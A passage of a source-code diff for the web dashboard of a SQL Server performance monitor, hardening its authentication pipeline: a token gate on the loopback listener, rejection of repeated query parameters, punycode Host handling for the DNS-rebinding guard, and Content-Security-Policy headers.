                 _logger.LogInformation(
                     "Starting web dashboard on {Scheme}://{Listen}:{Port} (LAN-exposed to {Cidr} behind a token->cookie gate + in-app CIDR; "
-                    + "loopback also bound over plain HTTP, and since #1649 it authenticates too) — "
+                    + "{Loopback}, and since #1649 it authenticates too) — "
                     + "enabled/port from {Origin}; listen/allowFrom/token/tls from darling.json web.network (file-only, restart-only)",
-                    serverCertificate is null ? "http" : "https", primaryBind, effectivePort, allowedCidr, origin);
+                    serverCertificate is null ? "http" : "https", primaryBind, effectivePort, allowedCidr,
+                    DarlingListenerTls.DescribeLoopbackListener(
+                        "loopback also bound over plain HTTP", serverCertificate is not null, primaryBind),
+                    origin);
             }
             else
             {
                 _logger.LogInformation(
-                    "Starting web dashboard on http://localhost:{Port} (loopback only) — enabled/port from {Origin}",
-                    effectivePort, origin);
+                    "Starting web dashboard on http://localhost:{Port} (loopback only){TokenNote} — enabled/port from {Origin}",
+                    effectivePort, requireTokenWhenLoopbackOnly ? ", token required" : "", origin);
+                if (requireTokenWhenLoopbackOnly)
+                {
+                    _logger.LogInformation(
+                        "The web dashboard loopback listener requires the web.network token: local browsers and clients present it too.");
+                }
             }
 
             /* #2479 item 6: the network block is read ONCE and held for the process lifetime by design.
@@ -896,9 +925,9 @@ internal static bool IsAllowedHost(string? host, IPAddress? networkListenIp, str
         => DarlingHostBinding.IsAllowedHost(host, networkListenIp, extraAllowedHost);
 
     /// <summary>
-    /// PURE route-auth decision. This method is only ever reached in NETWORK mode — the caller registers the
-    /// auth middleware inside <c>if (networkMode)</c> — so a loopback-only dashboard is unaffected by every
-    /// rule here and stays tokenless.
+    /// PURE route-auth decision. This method is only ever reached in NETWORK mode, or on a loopback-only server
+    /// that has a configured token (#5288) — the caller registers the auth middleware only for those — so a
+    /// loopback-only dashboard with no token configured is unaffected by every rule here and stays tokenless.
     ///
     /// <para>Loopback skips the CIDR check (127.0.0.1 is not in a LAN CIDR, so testing it there would 403 the
     /// operator's own browser) but still needs a session cookie or a valid <c>?token=</c>, exactly like any
@@ -914,7 +943,7 @@ internal static bool IsAllowedHost(string? host, IPAddress? networkListenIp, str
     /// cookie passes, a valid <c>?token=</c> is exchanged for one
     /// (<see cref="WebAuthAction.SetCookieAndRedirect"/>), and anything else gets the login form.</para>
     /// </summary>
-    internal static WebAuthAction DecideWebAuth(IPAddress? remoteIp, IPNetwork allowedCidr, bool hasValidCookie, bool hasValidToken)
+    internal static WebAuthAction DecideWebAuth(IPAddress? remoteIp, CidrAllowList allowedCidr, bool hasValidCookie, bool hasValidToken)
     {
         /* Loopback determination lives in DarlingWebEndpoints.IsLoopbackRemote so every caller unwraps
            IPv4-mapped-IPv6 (::ffff:127.0.0.1) identically. Loopback is exempt from the CIDR test ONLY — it
@@ -1007,40 +1036,86 @@ internal static void ConfigureResponseCompression(IServiceCollection services)
     /// </summary>
     /// <param name="publicBaseUrlHost">#4220: <c>web.publicBaseUrl</c>'s host, or null when unset/unparseable
     /// — the one extra Host value the DNS-rebinding guard admits beside the loopback names and
-    /// <paramref name="networkListenIp"/>. See <see cref="DarlingHostBinding.IsAllowedHost"/>.</param>
+    /// <paramref name="networkListenIp"/>. See <see cref="DarlingHostBinding.IsAllowedHost"/>. #5288: the caller
+    /// passes the raw host (<c>Uri.Host</c>, in whichever spelling the operator wrote); the guard converts its own
+    /// copy once to the decoded form <c>HttpRequest.Host</c> gives the middleware, so a punycode and a Unicode
+    /// spelling both admit the punycode Host a browser sends.</param>
+    /// <param name="requireTokenWhenLoopbackOnly">#5288: keeps the token-to-cookie gate on a loopback-only server. The
+    /// host passes true when network mode was configured and its token resolved, and the start then fell back to
+    /// loopback-only (a refused TLS certificate): the operator's config said every client presents the token, so a
+    /// lapsed certificate does not leave the local listener open. It is also true for a loopback-only start with a
+    /// configured token (<see cref="ResolveLoopbackOnlyToken"/>). A loopback-only server with no token configured
+    /// passes false and registers no auth middleware, as before. The
+    /// CIDR check inside the gate is a no-op for loopback, the only peers such a server has. Optional, so every
+    /// other caller is unchanged.</param>
     internal void ConfigurePipeline(
         WebApplication app,
         NpgsqlDataSource postgres,
         bool networkMode,
         IPAddress? networkListenIp,
-        IPNetwork allowedCidr,
+        CidrAllowList allowedCidr,
         string accessToken,
         DarlingWebOidcClient? oidcClient,
         string? publicBaseUrlHost = null,
         PostgresConfig? postgresConfig = null,
-        PerformanceMonitor.PlanAnalysis.AnalyzerConfig? analyzerConfig = null)
+        PerformanceMonitor.PlanAnalysis.AnalyzerConfig? analyzerConfig = null,
+        bool requireTokenWhenLoopbackOnly = false,
+        byte[]? sessionSigningKeyForTests = null)
     {
         /* #2479 item 5: the gates below used to refuse silently. Rate-limited per (gate, source),
            because this port is LAN-exposed on purpose - see DarlingHttpRefusalLog. Created per
            started server so a rebind starts with a clean budget. */
         var refusals = new DarlingHttpRefusalLog();
 
-        /* Pipeline order: response compression (#4188) runs FIRST of all, ahead of every gate below — it only
-           transforms an OUTGOING body (Content-Encoding), never a routing or auth decision, so it costs
-           nothing to wrap the gates' own refusal bodies and the login page in it too. Then the Host-allowlist
-           middleware runs on EVERY request (both modes) as the DNS-rebinding guard — it must stay FIRST after
-           compression, ahead of the #4276 backstop too (see HostHeaderGuardTests, #1648): that guard is the
-           fix for a previously-exploited hole, and a handler ahead of it would itself be new unauthenticated
-           surface on the tokenless loopback bind. Then (network mode only) the auth middleware, then the
-           #4276 failure backstop, then the no-store stamp on /api/* responses, then DarlingWebEndpoints.MapAll
-           -> UseDefaultFiles -> UseStaticFiles. WebApplication auto-inserts UseRouting at the head and
-           UseEndpoints at the tail, so the static-file middleware sits behind these gates and serves the SPA
-           for non-API paths. */
+        /* Pipeline order: the failure observer (W12, which folded in the #4276 backstop), then response compression (#4188), then the
+           Host-allowlist/DNS-rebinding guard (both modes), then (network mode, or a loopback-only server that keeps a configured token,
+           see requireTokenWhenLoopbackOnly) the auth middleware, then a marker that the request has passed the gate, then the
+           no-store stamp on /api/* responses, then DarlingWebEndpoints.MapAll -> UseDefaultFiles -> UseStaticFiles.
+           WebApplication auto-inserts UseRouting at the head and UseEndpoints at the tail, so the static-file middleware sits
+           behind these gates and serves the SPA for non-API paths.
+
+           The observer is outermost so a throw from compression, the Host guard or the auth gate is logged too. It decides
+           nothing about a request before next() runs (no refusal, no write, no read of the body), so it adds no unauthenticated
+           surface ahead of the Host guard, which stays the first app.Use (HostHeaderGuardTests, #1648: that guard is the fix for a
+           previously-exploited hole, and a handler that DECIDED anything ahead of it would be new surface on the tokenless loopback
+           bind). Compression only transforms an OUTGOING body (Content-Encoding), never a routing or auth decision, so it costs
+           nothing to wrap the gates' own refusal bodies and the login page in it. A throw before the marker below comes from a
+           request nobody has authenticated, so the observer's line for it goes through the refusals throttle (round 2, L1). */
+        app.UseMiddleware<DarlingWebFailureObserver>(_logger, refusals);
+
+        /* The browser-facing response headers (Content-Security-Policy, X-Frame-Options, X-Content-Type-Options,
+           Referrer-Policy) ride on EVERY response: the shell, static assets, API replies and every gate's refusal
+           or sign-in page. It registers its stamp with OnStarting and decides nothing about the request, so
+           it adds no surface ahead of the Host guard; a class middleware, so the Host guard stays the first
+           app.Use lambda. */
+        app.UseMiddleware<DarlingWebSecurityHeaders>();
+
         app.UseResponseCompression();
 
+        /* #5288, #4220: HttpRequest.Host hands the guard below the DECODED form of a Host header
+           (HostString.FromUriComponent turns a punycode xn-- name into Unicode), and a browser always sends
+           punycode. So a web.publicBaseUrl written in punycode (https://xn--bcher-kva.example/) was refused for
+           its own Host: its raw name could never equal the decoded one. The name goes through the same
+           conversion once, here, so both sides are in the form the framework gives the middleware; a Unicode
+           name and an ASCII one come out unchanged. Only the guard's copy changes: the link builder and the TLS
+           name check keep the raw host. A malformed punycode label (xn--a) makes the conversion throw
+           ArgumentException; the raw value is kept then, so start-up never fails on it. */
+        var admittedHostName = publicBaseUrlHost;
+        if (publicBaseUrlHost is not null)
+        {
+            try
+            {
+                admittedHostName = HostString.FromUriComponent(publicBaseUrlHost).Host;
+            }
+            catch (ArgumentException)
+            {
+                /* Keep the raw value, as above. */
+            }
+        }
+
         /* DNS-rebinding guard — runs in BOTH modes (the #1576 fix: it previously guarded network mode only,
            leaving the tokenless loopback write path reachable cross-origin via a DNS rebind). The loopback
-           surface is tokenless, so a browser ON the host that loads attacker content could be rebound to
+           surface is tokenless unless a token is configured, so a browser ON the host that loads attacker content could be rebound to
            127.0.0.1:5153 and read/write the whole surface same-origin. Require the Host header to name an
            address we actually bind — a loopback name/IP (localhost / 127.0.0.1 / [::1]) or, in network mode,
            the configured listen IP. networkListenIp is null in loopback mode, so ONLY loopback Hosts pass
@@ -1050,7 +1125,7 @@ surface on the tokenless loopback bind. Then (network mode only) the auth middle
            DarlingHostBinding.IsAllowedHost. */
         app.Use(async (context, next) =>
         {
-            if (!IsAllowedHost(context.Request.Host.Host, networkListenIp, publicBaseUrlHost))
+            if (!IsAllowedHost(context.Request.Host.Host, networkListenIp, admittedHostName))
             {
                 refusals.Report(
                     _logger, "Web dashboard", DarlingRefusalGate.HostAllowlist, StatusCodes.Status400BadRequest,
@@ -1065,7 +1140,12 @@ surface on the tokenless loopback bind. Then (network mode only) the auth middle
             await next(context);
         });
 
-        if (networkMode)
+        /* The auth gate installs in network mode and, on a loopback-only server that has a configured token
+           (requireTokenWhenLoopbackOnly, #5288), too: the token-to-cookie gate is the
+           one credential check this host has, and the CIDR test inside it exempts loopback, so on a server that
+           only binds loopback it is the token that gates. A loopback-only server with no token configured still
+           registers nothing here. */
+        if (networkMode || requireTokenWhenLoopbackOnly)
         {
             var cidr = allowedCidr;
             var token = accessToken;
@@ -1073,7 +1153,9 @@ surface on the tokenless loopback bind. Then (network mode only) the auth middle
                cookie (acceptable — the operator re-presents the token once). The OIDC transaction key is
                DERIVED from it rather than shared — see DeriveTransactionKey for why sharing the raw key
                across the two cookie shapes would let a pre-auth transaction cookie impersonate a session. */
-            var signingKey = RandomNumberGenerator.GetBytes(SigningKeyBytes);
+            /* sessionSigningKeyForTests (#5240): a live-pipeline test mints a signed viewer or admin cookie with a key it
+               chose; production never passes one, so the key stays a per-process random value. */
+            var signingKey = sessionSigningKeyForTests ?? RandomNumberGenerator.GetBytes(SigningKeyBytes);
             var transactionKey = DarlingWebOidc.DeriveTransactionKey(signingKey);
 
             app.Use(async (context, next) =>
@@ -1094,8 +1176,11 @@ the network auth decision (session cookie / ?token= / in-CIDR / the sign-in flow
                     seat = DarlingWebSeat.SharedToken;
                 }
 
-                var presentedToken = context.Request.Query["token"].ToString();
-                var hasValidToken = DarlingHostBinding.FixedTimeTokenEquals(presentedToken, token);
+                /* A token sent twice is not a token (#5245): joined into "a,b" it is a value nobody sent, and
+                   the gate answers as it would a wrong token rather than reading the first copy. */
+                var tokenSentOnce = DarlingWebEndpoints.TrySingleQueryValue(context.Request.Query, "token", out var presentedToken);
+                var hasValidToken = tokenSentOnce
+                    && DarlingHostBinding.FixedTimeTokenEquals(presentedToken, token);
                 var isAuthFlowRoute = IsAuthFlowPath(context.Request.Path.Value ?? "/", oidcClient is not null);
 
                 switch (DecideWebRequest(remote, cidr, isAuthFlowRoute, hasValidCookie, hasValidToken))
@@ -1202,6 +1287,19 @@ a warning. */
                                     : "the presented ?token= does not match web.network.encryptedToken, so the login page was served instead",
                                 DateTime.UtcNow);
                         }
+                        else if (!tokenSentOnce)
+                        {
+                            /* A ?token= sent more than once reads as no token at all (above), so it must be logged on
+                               its own arm: it is a credential that was presented and can never match (#5245). The line
+                               names the key, never a value. */
+                            refusals.Report(
+                                _logger, "Web dashboard", DarlingRefusalGate.Token, shownStatus,
+                                remote,
+                                isApiCall
+                                    ? "the ?token= key was sent more than once, so the API call was refused"
+                                    : "the ?token= key was sent more than once, so the login page was served instead",
+                                DateTime.UtcNow);
+                        }
 
                         if (isApiCall)
                         {
@@ -1217,70 +1315,17 @@ a warning. */
             });
         }
 
-        /* #4276: one backstop exception handler, ahead of every route below (DarlingWebEndpoints.MapAll has no
-           Map* of its own outside that one call, so this covers all of them — see
-           DarlingWebFailureHandlingTests' source pin), so a route with no try/catch of its own (the issue's
-           own examples, /api/ag and /api/fleet, plus any future one) cannot reach ASP.NET Core's own error
-           handling — which writes into the providers ClearProviders silenced above, so the browser got an
-           empty 500 with no trace anywhere. AFTER the Host-allowlist guard and the auth gate on purpose (see
-           the pipeline-order comment above app.UseResponseCompression) — but that means it covers the ROUTES
-           ONLY: it is registered after both gates, so a gate throw never enters this try, and is not logged
-           here (#4281 review, finding 4). A client that closed the page is not a failure — DarlingWebFailureLog
-           never sees it, and nothing is written to a caller who is gone. */
+        /* Round 2, L1: past this point a request has passed the auth gate (or, on a server with no gate, the Host guard), so a throw
+           from here on is a failure of a caller the service let in and the observer logs it unthrottled, as the #4276 backstop did. */
         app.Use(async (context, next) =>
         {
-            var route = context.Request.Path.Value ?? "/";
-            var stopwatch = Stopwatch.StartNew();
-            try
-            {
-                await next(context);
-            }
-            catch (Exception ex) when ((ex is OperationCanceledException or IOException)
-                && context.RequestAborted.IsCancellationRequested)
-            {
-                /* #4286 review, Low 2: a client that resets an upload or an HTTP/2 stream during a body read
-                   does not always surface as OperationCanceledException -- Kestrel can report it as an
-                   IOException (a TCP reset, or "The client reset the request stream." on HTTP/2), which used
-                   to fall to the generic arm below and write an unthrottled Error line for a caller who is
-                   already gone. Same filter ASP.NET Core's own exception handler middleware uses to classify a
-                   client abort. */
-            }
-            catch (BadHttpRequestException bad)
-            {
-                /* #4281 review, finding 3: Kestrel throws this for a malformed or oversized request body (a
-                   413/400/408 a client can trigger on purpose at no cost) — it is not a service failure, so it
-                   must not cost the generic 500 or an Error line the way a real failure does. Debug only: the
-                   default LoggerFilterOptions.MinLevel (Information) keeps it out of the file in production,
-                   same as every other Debug call site, while still letting an operator opt in. No body beyond
-                   what Kestrel itself would have written before this backstop existed. #4286 review, Low 5:
-                   {Message} dropped -- a template argument becomes part of the FORMATTED message, which used
-                   to bypass DarlingFileLoggerProvider's sanitize entirely (it only cleaned the exception
-                   OBJECT's own Message). The exception object passed as the first argument still carries
-                   bad.Message to any provider that wants it, and the file sink now cleans the whole assembled
-                   line regardless (#4286 review, Low 5) -- but dropping the template argument is still the
-                   right fix, matching the ruled Debug line the review gives verbatim. */
-                _logger.LogDebug(bad, "Web dashboard request rejected ({StatusCode})", bad.StatusCode);
-
-                if (!context.Response.HasStarted)
-                {
-                    context.Response.StatusCode = bad.StatusCode;
-                }
-            }
-            catch (Exception ex)
-            {
-                DarlingWebFailureLog.Report(_logger, route, stopwatch.ElapsedMilliseconds, ex);
-
-                /* Only log, per the ruling, once the response has already started — there is no header or
-                   body left to change at that point. */
-                if (!context.Response.HasStarted)
-                {
-                    context.Response.StatusCode = DarlingWebFailureLog.StatusCode(ex);
-                    context.Response.ContentType = "application/json; charset=utf-8";
-                    await context.Response.WriteAsync(DarlingWebFailureLog.Body(ex).ToJsonString());
-                }
-            }
+            DarlingWebFailureLog.NotePassedAuth();
+            await next(context);
         });
 
+        /* #4276, W12: the failure backstop is no longer here. It is DarlingWebFailureObserver, registered FIRST (before response
+           compression), so a throw from the Host guard, the auth gate or compression is logged too, and still once per request. */
+
         /* API responses never cache (#4188): the store mutates continuously, so a stale GET is a stale
            dashboard. no-store rather than no-cache/must-revalidate — these bodies carry no ETag, so "cache but
            always revalidate" would have nothing to revalidate against and a client that honored only the
@@ -1297,7 +1342,7 @@ it covers every route MapAll adds (including ones added on a parallel branch) wi
             await next(context);
         });
 
-        DarlingWebEndpoints.MapAll(app, postgres, _collectorState, _logger, _baselineCache, postgresConfig, _readLatency, analyzerConfig, _registryState);
+        DarlingWebEndpoints.MapAll(app, postgres, _collectorState, _logger, _baselineCache, postgresConfig, _readLatency, analyzerConfig, _registryState, _slowReads);
         app.UseDefaultFiles();
 
         /* Static assets carry an ETag/Last-Modified already (the framework default); no-cache (#4188) makes
@@ -1358,7 +1403,7 @@ internal static bool IsApiPath(string path)
     /// original matrix decides exactly as before.
     /// </summary>
     internal static WebRequestAction DecideWebRequest(
-        IPAddress? remoteIp, IPNetwork allowedCidr, bool isAuthFlowRoute, bool hasValidCookie, bool hasValidToken)
+        IPAddress? remoteIp, CidrAllowList allowedCidr, bool isAuthFlowRoute, bool hasValidCookie, bool hasValidToken)
     {
         var isLoopback = DarlingWebEndpoints.IsLoopbackRemote(remoteIp);
         if (!isLoopback && !DarlingHostBinding.IsRemoteAddressAllowed(remoteIp, allowedCidr))
@@ -1665,6 +1710,14 @@ as a backstop rather than a NullReference away from a 500. The answer is the log
 
         if (string.Equals(path, OidcLoginPath, StringComparison.OrdinalIgnoreCase))
         {
+            /* A repeated ?return= is refused (#5245), before the discovery fetch: the joined "a,b" is not a path
+               anyone asked to land on. */
+            if (!DarlingWebEndpoints.TrySingleQueryValue(context.Request.Query, "return", out var requestedReturn))
+            {
+                await RefuseRepeatedSignInKeyAsync(context, refusals, remote);
+                return;
+            }
+
             var discovery = await oidcClient.GetDiscoveryAsync(context.RequestAborted);
             if (discovery is null)
             {
@@ -1686,7 +1739,7 @@ await WriteSignInErrorAsync(context, StatusCodes.Status502BadGateway,
 
             /* Where to land after the sign-in — the SPA path the login page was covering, run through the
                same open-redirect guard as the token-strip 302. */
-            var returnPath = SanitizeRedirectPath(context.Request.Query["return"].ToString());
+            var returnPath = SanitizeRedirectPath(requestedReturn);
 
             /* The redirect URI is derived from THIS request's scheme+Host (which the allowlist has already
                vetted), then FROZEN into the transaction: the token endpoint requires the exact value the
@@ -1725,7 +1778,18 @@ that top-level GET and still never on cross-site subresource/POST requests. */
 
         /* ------- the callback: the IdP sent the browser back with ?code=&state= (or ?error=). ------- */
 
-        var providerError = context.Request.Query["error"].ToString();
+        /* Each callback parameter is single-valued (RFC 6749 section 3.1; #5245): a key sent twice is refused
+           as a malformed callback, and the transaction is spent like any other failed callback. */
+        if (!DarlingWebEndpoints.TrySingleQueryValue(context.Request.Query, "error", out var providerError)
+            || !DarlingWebEndpoints.TrySingleQueryValue(context.Request.Query, "error_description", out var providerErrorDescription)
+            || !DarlingWebEndpoints.TrySingleQueryValue(context.Request.Query, "code", out var code)
+            || !DarlingWebEndpoints.TrySingleQueryValue(context.Request.Query, "state", out var presentedState))
+        {
+            context.Response.Cookies.Delete(DarlingWebOidc.TransactionCookieName, new CookieOptions { Path = "/auth/oidc" });
+            await RefuseRepeatedSignInKeyAsync(context, refusals, remote);
+            return;
+        }
+
         if (!string.IsNullOrEmpty(providerError))
         {
             /* IdP-authored in the honest case, but it rode a browser querystring here — anyone can put an
@@ -1734,15 +1798,13 @@ sanitized like any other echoed input. */
             refusals.Report(
                 _logger, "Web dashboard", DarlingRefusalGate.SignIn, StatusCodes.Status403Forbidden, remote,
                 $"the provider (or the querystring) reported '{DarlingHttpRefusalLog.Sanitize(providerError)}"
-                + $" {DarlingHttpRefusalLog.Sanitize(context.Request.Query["error_description"].ToString())}'",
+                + $" {DarlingHttpRefusalLog.Sanitize(providerErrorDescription)}'",
                 DateTime.UtcNow);
             await WriteSignInErrorAsync(context, StatusCodes.Status403Forbidden,
                 "The identity provider refused the sign-in. Ask your administrator, or use the access token.");
             return;
         }
 
-        var code = context.Request.Query["code"].ToString();
-        var presentedState = context.Request.Query["state"].ToString();
         var hasTransaction = DarlingWebOidc.TryValidateTransactionCookie(
             context.Request.Cookies[DarlingWebOidc.TransactionCookieName], transactionKey, DateTimeOffset.UtcNow,
             out var transaction);
@@ -1873,22 +1935,42 @@ private void ReportSignInRefusal(DarlingHttpRefusalLog refusals, IPAddress? remo
     /// genuinely signed in. A navigation started by a script on THIS page is same-site, and Strict cookies
     /// travel with it.
     /// </summary>
-    private static Task WriteSignedInLandingAsync(HttpContext context, string returnPath)
+    internal static Task WriteSignedInLandingAsync(HttpContext context, string returnPath)
     {
         var safePath = SanitizeRedirectPath(returnPath);
-        /* JSON-encode for the script (handles quotes/backslashes), HTML-encode for the fallback link. */
-        var scriptTarget = System.Text.Json.JsonSerializer.Serialize(safePath);
+        /* HTML-encode once for the fallback link and for the data- attribute the script reads its target from. */
         var linkTarget = System.Text.Encodings.Web.HtmlEncoder.Default.Encode(safePath);
 
         context.Response.StatusCode = StatusCodes.Status200OK;
         context.Response.ContentType = "text/html; charset=utf-8";
         context.Response.Headers.CacheControl = "no-store";
-        return context.Response.WriteAsync(
+        var html =
             "<!doctype html><html lang='en'><head><meta charset='utf-8'><title>Darling Web</title></head>"
             + "<body style='background:#181b1f;color:#E4E6EB;font-family:system-ui'>"
-            + $"<p>Signed in — continuing to <a style='color:#2eaef1' href='{linkTarget}'>the dashboard</a>…</p>"
-            + $"<script>location.replace({scriptTarget});</script>"
-            + "</body></html>");
+            + $"<p>Signed in — continuing to <a id='go' style='color:#2eaef1' href='{linkTarget}' data-target='{linkTarget}'>the dashboard</a>…</p>"
+            + LandingScriptBlock
+            + "</body></html>";
+        /* The page's one inline script is constant text (the return path travels in the data-target attribute),
+           so its policy is computed once and never from this rendering. */
+        context.Response.Headers[DarlingWebSecurityHeaders.ContentSecurityPolicyHeader] = LandingPagePolicy;
+        return context.Response.WriteAsync(html);
+    }
+
+    /// <summary>The landing page's only inline script: constant text that reads the sanitized return path from the
+    /// link's data-target attribute, so its hash does not depend on the request.</summary>
+    internal const string LandingScriptBlock = "<script>location.replace(document.getElementById('go').dataset.target);</script>";
+
+    /// <summary>The landing page's policy: the default plus the hash of <see cref="LandingScriptBlock"/>.</summary>
+    internal static readonly string LandingPagePolicy = DarlingWebSecurityHeaders.PolicyForInlinePage(LandingScriptBlock);
+
+    /// <summary>The sign-in flow's answer to a single-valued query key sent more than once (#5245): the same
+    /// rate-limited refusal log and error page every other failed sign-in uses, status 400.</summary>
+    private async Task RefuseRepeatedSignInKeyAsync(HttpContext context, DarlingHttpRefusalLog refusals, IPAddress? remote)
+    {
+        ReportSignInRefusal(refusals, remote, StatusCodes.Status400BadRequest,
+            "a sign-in query parameter (return, error, error_description, code or state) was sent more than once");
+        await WriteSignInErrorAsync(context, StatusCodes.Status400BadRequest,
+            "The sign-in request repeated a parameter. Start again from the login page.");
     }
 
     /// <summary>A minimal self-contained sign-in error page — same reasoning as the login form: it renders
@@ -1906,18 +1988,37 @@ private static Task WriteSignInErrorAsync(HttpContext context, int statusCode, s
             + "</body></html>");
     }
 
-    private static Task WriteLoginPageAsync(HttpContext context, bool oidcEnabled)
+    internal static Task WriteLoginPageAsync(HttpContext context, bool oidcEnabled)
     {
         context.Response.StatusCode = StatusCodes.Status200OK;
         context.Response.ContentType = "text/html; charset=utf-8";
         context.Response.Headers.CacheControl = "no-store";
-        return context.Response.WriteAsync(BuildLoginPageHtml(oidcEnabled));
+        var html = BuildLoginPageHtml(oidcEnabled);
+        /* The login page carries one inline style block and one or two small inline scripts (it renders before the
+           gated stylesheet and scripts are reachable); each is allowed by its hash. The page is constant text
+           (the two renderings differ only by the SSO fragment), so each policy is computed once from the
+           LF-normalized text and never from a rendering. */
+        context.Response.Headers[DarlingWebSecurityHeaders.ContentSecurityPolicyHeader] = LoginPagePolicy(oidcEnabled);
+        return context.Response.WriteAsync(html);
     }
 
+    private static readonly string s_loginPageHtmlPlain = ComposeLoginPage(oidcEnabled: false);
+    private static readonly string s_loginPageHtmlSso = ComposeLoginPage(oidcEnabled: true);
+    private static readonly string s_loginPolicyPlain = DarlingWebSecurityHeaders.PolicyForInlinePage(s_loginPageHtmlPlain);
+    private static readonly string s_loginPolicySso = DarlingWebSecurityHeaders.PolicyForInlinePage(s_loginPageHtmlSso);
+
+    /// <summary>The Content-Security-Policy of the login page, fixed per rendering (SSO link or not).</summary>
+    internal static string LoginPagePolicy(bool oidcEnabled) => oidcEnabled ? s_loginPolicySso : s_loginPolicyPlain;
+
+    /* The source file is checked out with CRLF, and a browser hashes the LF text, so the page is served in LF. */
+    private static string ComposeLoginPage(bool oidcEnabled)
+        => DarlingWebSecurityHeaders.NormalizeLineEndings(
+            LoginPageHtml.Replace("<!--SSO-->", oidcEnabled ? SsoFragmentHtml : string.Empty, StringComparison.Ordinal));
+
     /// <summary>The login page, with the SSO affordance included exactly when OIDC is enabled — the token
     /// form is never removed (#2550 keeps the shared token as the scripted-caller/break-glass path).</summary>
     internal static string BuildLoginPageHtml(bool oidcEnabled)
-        => LoginPageHtml.Replace("<!--SSO-->", oidcEnabled ? SsoFragmentHtml : string.Empty);
+        => oidcEnabled ? s_loginPageHtmlSso : s_loginPageHtmlPlain;
 
     /* A minimal, fully self-contained login form (no external references) — a GET form whose only field is the
        access token, so submitting it re-requests the same URL with ?token=, which the middleware exchanges for
@@ -2030,16 +2131,20 @@ private void LogBindReason(WebConfig web, DarlingHostBinding.BindReason reason)
 
             case DarlingHostBinding.BindReason.AllowFromInvalid:
                 _logger.Log(level.Value,
-                    "Web dashboard network exposure requested but web.network.allowFrom '{AllowFrom}' is not a valid CIDR or its " +
-                    "address family does not match web.network.listen — refusing to expose; binding loopback-only. " +
-                    "Use e.g. 192.168.1.0/24 (host bits zeroed, same family as listen).",
+                    "Web dashboard network exposure requested but web.network.allowFrom '{AllowFrom}' is not a valid CIDR list or an " +
+                    "entry's address family does not match web.network.listen — refusing to expose; binding loopback-only. " +
+                    "Use one CIDR (e.g. 192.168.1.0/24) or several, separated by commas " +
+                    "(e.g. 10.8.0.0/16,192.168.1.5/32): every entry in CIDR form (/32 for one address), with each IPv4 " +
+                    "address written as four plain decimal numbers (no leading zeros) and no IPv6 zone index, and of the same " +
+                    "family as listen (a :: listen takes IPv6 entries only). Host bits are masked (192.168.1.5/24 means 192.168.1.0/24).",
                     web.Network?.AllowFrom);
                 break;
 
             case DarlingHostBinding.BindReason.ManagedModeRequired:
                 _logger.Log(level.Value,
                     "web.network.* is set but postgres.managed = false — web dashboard network exposure is managed-mode (or container, " +
-                    "#1804) only and is ignored; your own reverse proxy governs uncontained BYO exposure. Binding loopback-only.");
+                    "#1804) only, so listen and allowFrom are ignored; your own reverse proxy governs uncontained BYO exposure. " +
+                    "Binding loopback-only. A token in the block (web.network.encryptedToken / token) still gates the loopback dashboard.");
                 break;
 
             default:
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingWebSecurityHeaders.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingWebSecurityHeaders.cs
new file mode 100644
index 0000000000..506877a6e7
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingWebSecurityHeaders.cs
@@ -0,0 +1,154 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Security.Cryptography;
+using System.Text;
+using System.Text.RegularExpressions;
+using System.Threading.Tasks;
+using Microsoft.AspNetCore.Http;
+
+namespace PerformanceMonitor.Darling.Service.Mcp;
+
+/// <summary>
+/// Stamps the browser-facing headers on EVERY response the web host sends: the HTML shell, a static asset, an
+/// API JSON reply, and every refusal or error page. It registers the stamp with <c>OnStarting</c>, so it
+/// decides nothing about the request (no refusal, no read of the body) and it still lands on a response a gate
+/// or the failure observer writes after this middleware has returned.
+///
+/// <para><b>The policy matches the single-page app as shipped.</b> The shell loads one module script and four
+/// stylesheets from its own origin, talks only to its own origin (<c>fetch</c> to <c>/api/*</c>), and
+/// builds every other piece of markup in script. The directives, and the one place each loosens the strictest
+/// form, are:</para>
+/// <list type="bullet">
+/// <item><c>default-src 'self'</c>: nothing loads from another origin.</item>
+/// <item><c>script-src 'self'</c>: no inline script, no <c>eval</c>. The pre-sign-in pages that must carry a
+/// small inline script (the login form, the signed-in landing page) get a policy of their own through
+/// <see cref="PolicyForInlinePage"/>: the same policy with the SHA-256 of exactly the inline blocks that page
+/// holds, so a block is allowed by its text and nothing else inline is.</item>
+/// <item><c>style-src 'self'</c> plus <c>style-src-attr 'unsafe-inline'</c>: style blocks and stylesheets are
+/// same-origin only, but the page sets <c>style="..."</c> attributes on elements it builds (chart sizes, hidden
+/// markers, colour swatches), and an inline style attribute cannot run script. Only the attribute form is
+/// loosened.</item>
+/// <item><c>img-src 'self' data:</c>: the notification-bell icon in <c>css/app.css</c> is a <c>data:</c> SVG
+/// mask, and the chart image export draws its SVG from a <c>data:</c> URL.</item>
+/// <item><c>connect-src 'self'</c>: the page fetches only its own <c>/api/*</c>.</item>
+/// <item><c>object-src 'none'</c>, <c>base-uri 'none'</c>: no plugin content, no <c>&lt;base&gt;</c>.</item>
+/// <item><c>form-action 'self'</c>: the login form submits to the same address.</item>
+/// <item><c>frame-ancestors 'none'</c> (with <c>X-Frame-Options: DENY</c> for browsers that read only that
+/// one): the dashboard is never shown inside another page.</item>
+/// </list>
+///
+/// <para>A browser download made from a <c>blob:</c> link (plan, CSV and chart exports) is a navigation, which
+/// none of these directives govern, so <c>blob:</c> is not listed.</para>
+/// </summary>
+internal sealed class DarlingWebSecurityHeaders
+{
+    internal const string ContentSecurityPolicyHeader = "Content-Security-Policy";
+
+    internal const string ContentSecurityPolicy =
+        "default-src 'self'; script-src 'self'; style-src 'self'; style-src-attr 'unsafe-inline'; "
+        + "img-src 'self' data:; connect-src 'self'; object-src 'none'; base-uri 'none'; form-action 'self'; "
+        + "frame-ancestors 'none'";
+
+    private static readonly Regex s_scriptBlock = new(
+        @"<script\b[^>]*>(?<body>.*?)</script>", RegexOptions.Singleline | RegexOptions.IgnoreCase | RegexOptions.CultureInvariant);
+
+    private static readonly Regex s_styleBlock = new(
+        @"<style\b[^>]*>(?<body>.*?)</style>", RegexOptions.Singleline | RegexOptions.IgnoreCase | RegexOptions.CultureInvariant);
+
+    private readonly RequestDelegate _next;
+
